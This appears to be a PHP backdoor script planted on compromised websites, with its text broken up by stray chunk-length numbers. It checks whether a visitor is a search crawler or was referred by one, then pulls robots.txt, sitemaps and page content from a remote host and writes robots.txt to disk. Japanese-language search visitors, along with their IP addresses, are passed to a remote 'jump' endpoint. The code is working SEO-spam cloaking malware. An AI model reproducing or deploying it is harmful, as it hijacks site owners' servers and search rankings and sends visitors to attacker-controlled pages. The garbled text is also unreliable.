1 < 2 ?p 2 hp 3 er 3 ror 3 _re 3 por 3 tin 2 g( 2 0) 2 ; 3 @se 3 t_t 3 ime 3 _li 2 mi 3 t(1 1 2 6 0); @i 3 gno 3 re_ 3 use 3 r_a 1 b 4 ort( 4 1); 3 $tr 2 = 3 "h 3 ttp 2 s: 1 / 2 /j 2 26 2 04 2 17 2 _2 2 3. 2 ro 4 bert 2 o. 3 asi 2 a/ 2 "; 3 cl 3 ass 3 Re 2 q 1 { 2 5 pu 3 bli 2 c 3 fun 3 cti 2 on 4 ser 2 ve 3 r($ 2 na 2 me 5 = '' 2 , 3 $de 2 fa 3 ult 5 = '' 6 ) 6 { 5 i 2 f e (empty($name)) b { 4 3 ret 3 urn 3 $_ 3 SER 2 VE 2 R; 5 5 } 9 8 $name = 2 st 4 rtou 2 pp 8 er($name 3 ); 8 9 return is 3 set 1 ( 9 $_SERVER[ 5 $name 3 ]) 1 ? 9 $_SERVER 8 [$name] 1 : f $default; 6 } 10 public function 3 iss 1 ( 18 ) { if ($thi 2 s- 1 > 9 server('H 2 TT 2 PS 3 ') 2 && 2 ( 3 "1" 2 = 2 = 17 $this->server('HTTPS') 2 || 3 "o 6 n" == 5 strto 2 lo 1 w 4 er($ 16 this->server('HTTPS')) 18 )) { return 3 tru 1 e d ; } e 3 lse 4 if ( 1 ' 6 https' 14 == $this->server('R 2 EQ 2 UE 3 ST_ 2 SC 2 HE 3 ME' 32 )) { return true; } elseif ('4 2 43 14 ' == $this->server(' 6 SERVER 3 _PO 2 RT 32 ')) { return true; } elseif (' 19 https' == $this->server(' 5 HTTP_ 3 X_F 2 OR 2 WA 3 RDE 2 D_ 3 PRO 2 TO 28 ')) { return true; } 11 return f 4 alse 1e ; } public function ho 2 st 11 () { 1 $ 4 host 6 = str 2 va 1 l 14 ($this->server('HTTP d _X_FORWARDED_ 3 HOS 3 T') 2 ? 3 : $ 12 this->server('HTTP 7 _HOST') 12 ); return 7 strpos( 6 $host, 2 ' 5 :') ? 4 str 3 str c ($host, ':', 1 5 true) 4 : $ 4 host 1d ; } public function s 2 ch 3 eme 11 () { e return $this-> 8 iss() ? 6 "https 1 " 8 : "http 3 "; a } 11 public function d 1 m 1f () { return $this-> 9 scheme() 3 . " 3 :// 4 " . 7 $this-> 6 host() 1c ; } public function 2 ip 11 () { 4 if ( 3 get 2 en 2 v( 6 'HTTP_ 2 CL 5 IENT_ 2 IP 14 ')) { $i 1 p 3 = 18 getenv('HTTP_CLIENT_IP') 14 ; } elseif ( d getenv('HTTP_ c X_FORWARDED_ 3 FOR 25 ')) { $ip = getenv('HTTP_ 11 X_FORWARDED_FOR') 1c ; } elseif (getenv(' 2 RE 3 MOT 2 E_ 3 ADD 21 R')) { $ip = getenv(' d REMOTE_ADDR') 10 ; } else f { 15 $ip = $this->server(' 18 REMOTE_ADDR'); } 10 return 3 $ip 1d ; } public function i 2 sc 11 () { 3 $ag 2 en 7 t = str 1d tolower($this->server('HTTP_U 3 SER 2 _A 1 G 3 ENT 11 ')); if ( 7 $agent 1 ! 4 = '' 5 && p 3 reg 2 _m 3 atc 2 h( 3 '/g 2 oo 3 gle 3 bot 1 | 7 google| 2 ya 3 hoo 2 |b 3 ing 2 |a 3 ol/ 2 si 4 ', $ 5 agent 27 )) { return true; } 10 return 22 false; } public function i 2 sg 9 () { 2 3 $re 2 fe 4 r = 20 strtolower($this->server('HTTP_R 2 EF 3 ERE 4 R')) a ; 6 $refer 4 bots 4 = ' 16 google|yahoo|bing|aol' f ; if ($ 6 refer 15 != '' && preg_match(" 2 /( a $referbots 1 ) 4 /si" 3 , $ 5 refer 59 )) { return true; } return false; } public function u 2 ri 11 () { 4 if ( 2 ($ 3 pos 6 = str 5 pos($ e this->server(' a REQUEST_UR 2 I' 1 ) 4 , '. 3 php 4 ')) 1 ! 8 == false 10 ) { 3 $sc 3 rip 2 t_ 7 name = 3 bas 5 ename 10 ($this->server(' 2 SC 2 RI 5 PT_FI 9 LENAME')) a ; 4 4 if ( 1f basename($this->server('SCRIPT_ 7 NAME')) 3 == 3 = $ b script_name 10 ) { 4 3 $ur 1 l 3 = f $this->server(' 7 SCRIPT_ 6 NAME') f ; } 9 elseif ( 18 basename($this->server(' 2 PH 1 P 4 _SEL 1 F 4 ')) 3a === $script_name) { $url = $this->server(' a PHP_SELF') 30 ; } elseif (basename($this->server(' 2 OR 2 IG 3 _SC 5 RIPT_ 42 NAME')) === $script_name) { $url = $this->server(' 12 ORIG_SCRIPT_NAME') 18 ; } elseif ( 1e ($pos = strpos($this->server(' a PHP_SELF') 3 , ' 2 /' 4 . $ c script_name) 1b ) !== false) { d $url = su 1 b 5 str($ e this->server(' d SCRIPT_NAME') 3 , 0 3 , $ 3 pos 1 ) 3 . 12 '/' . $script_name 18 ; } elseif ( 10 $this->server('D 2 OC 2 UM 4 ENT_ 3 ROO 4 T') 3 && 8 strpos($ 15 this->server('SCRIPT_ a FILENAME') 3 , $ 1d this->server('DOCUMENT_ROOT') 7 ) === 0 1e ) { $url = str 6 _repla 1 c 11 e($this->server(' f DOCUMENT_ROOT') 3 , ' 4 ', $ 1f this->server('SCRIPT_FILENAME') f ); f } $ 2 re 1 q 3 uri 9 = $url . 1 16 substr($this->server(' f REQUEST_URI'), 5 $pos 3 + 4 b ); 6 } else 10 { $ 9 requri = 25 substr($this->server('REQUEST_URI'), 16 strpos($this->server(' 10 REQUEST_URI'), ' 1 / d ')); a } 8 return r 3 tri 1 m 4 ($re 4 quri 5 , '/' 7 ); 16 } public function 3 exe 1 c 4 Req( 4 $url 4 , $p 4 = a 3 rra 2 y( 1 ) 10 ) { 7 $url = c str_replace( 2 ' 4 ', ' 1 + 4 ', $ 3 url d ); $c 1 h 4 = c 5 url_i 1 n 3 it( b ); 5 curl_ 4 seto 1 p 4 t($c 3 h, 2 CU 2 RL 1 O 6 PT_URL 11 , $url); 19 curl_setopt($ch, CURLOPT_ 2 RE 3 TUR 2 NT 2 RA 2 NS 3 FER 2 , 4 1); 4 4 1a curl_setopt($ch, CURLOPT_H 3 EAD 4 ER, 4 0); 21 curl_setopt($ch, CURLOPT_ 2 TI 2 ME 3 OUT 2 , 5 20); 22 curl_setopt($ch, CURLOPT_P 3 OST 27 , 1); curl_setopt($ch, CURLOPT_ 2 SS 2 L_ 3 VER 2 IF 2 YP 1 E 29 ER, 0); curl_setopt($ch, CURLOPT_ a SSL_VERIFY 4 HOST 27 , 0); curl_setopt($ch, CURLOPT_ 5 POSTF 2 IE 2 LD 3 S, 6 http_b 3 uil 2 d_ 3 que 1 r 4 y($p d )); $ 2 ou 3 tpu 4 t = 5 curl_ 4 exec 4 ($ch c ); $ 7 errorCo 1 d 4 e = 8 curl_err 2 no f ($ch); 6 curl_c 3 los 3 e($ d ch); 5 if (0 5 !== 1 $ 9 errorCode 10 ) { 7 return b false; 4 11 } return 1 $ 6 output 7 ; } 1 2 } 4 $req 4 = n 2 ew 4 Req 4 (); 3 $is 1 c 4 = $ 4 req- 4 >isc 7 (); $is 1 g b = $req->is 3 g() 5 ; $um 1 a 4 p = 4 $tr 3 . " 3 map 3 "; 3 $ur 4 i = 6 urldec 3 ode 5 ($req 2 -> 5 uri() 4 ); $ a p = array( 5 3 "do 2 ma 1 i 5 n" => 7 $req-> 4 dm() 1 , 6 " 4 port b " => $req-> 8 server(' 3 SER 3 VER 8 _PORT', 2 80 8 ), " 3 uri 6 " => $ 4 uri 3 ); 4 if ( 8 substr($ 5 uri, 2 -1 3 0) 3 == 1 " 3 rob 3 ots 3 .tx 2 t" 8 ) { 3 hea 5 der(" 3 Con 5 tent- 5 type: 3 tex 2 t/ 3 pla 3 in; 2 c 3 har 3 set 2 =u 3 tf- 2 8" 7 ); 2 di 8 e($req-> f execReq($tr . " 6 robots 4 ", $ 6 p)); } 13 if (substr($uri, - 1 6 c ) == "robots 9 ") { 7 $output 9 = $req-> 1b execReq($tr . "robots", $p) 7 ; $ 2 rp 5 t = _ 2 _D 3 IR_ 1 _ 5 . "/ b robots.txt" 7 ; f 3 ile 1 _ 5 put_c 6 ontent 6 s($rpt 3 , $ 6 output 7 ); 1 $ b robots_cont 3 = 1 @ 5 file_ 3 get e _contents($rpt 7 ); 5 if (s 6 trpos( c strtolower($ b robots_cont 3 ), 5 "site 4 map" d )) { 4 die( b "robots.txt 5 file 3 cr 3 eat 1 e 5 succ 2 es 2 s! 8 "); 11 } else { 1c die("robots.txt file create 2 fa c il!"); } 15 } if (substr($uri, - 1 4 7 ) == ". 3 xml 9 ") { b if (strpos( 7 $uri, " 2 al 1 l e sitemap.xml") 3 || 8 strpos($ 6 uri, " 9 sitemap-i 2 nd 2 ex 25 .xml") || strpos($uri, "sitemap-index 2 -1 18 .xml") || strpos($uri, " b index.xml") c ) { 19 $output = $req->execReq($ 4 umap 5 , $p) a ; 1a header("Content-type:text/ 4 " . 9 (substr($ 6 output 6 , 0, 5 6 ) === 2 '< 1 ? 4 xml' 3 ? 6 'xml' 2 : 1 ' 5 plain 3 ') 3 . ' f ; charset=utf-8 8 '); 4 4 die( 3 '' 3 . $ d output); 6 } 19 $output = $req->execReq($ 7 tr . "w 2 or 1 d 6 ", $p) 6 ; 1a header("Content-type:text/ 3 xml 17 ; charset=utf-8"); 5 if ($ 8 output = 3 = " 1 1 9 ") { e die('' . $ 5 req-> a execReq($u 8 map, $p) 7 ); 15 } else { die( 15 '' . $output); } 5 } $la 1 n a g = $req-> c server('HTTP 2 _A 3 CCE 5 PT_LA 1 N 2 GU 3 AGE 4 '); 5 if (! 5 $isc 6 && $is 1 g c && strpos($ 4 lang 4 , 'j 2 a' 1 ) 3 !== e false) { $ 2 p[ 3 "ip 2 "] a = $req->i 3 p() 8 ; $a 6 ction 9 = $tr . " 3 jum 8 p"; 13 die($req->execReq($ 6 action e , $p)); } if ( 4 $isc 8 ) { a die('' . $ e req->execReq($ 6 tr . " 3 ind 3 ata c ", $p)); } ? 1 > 0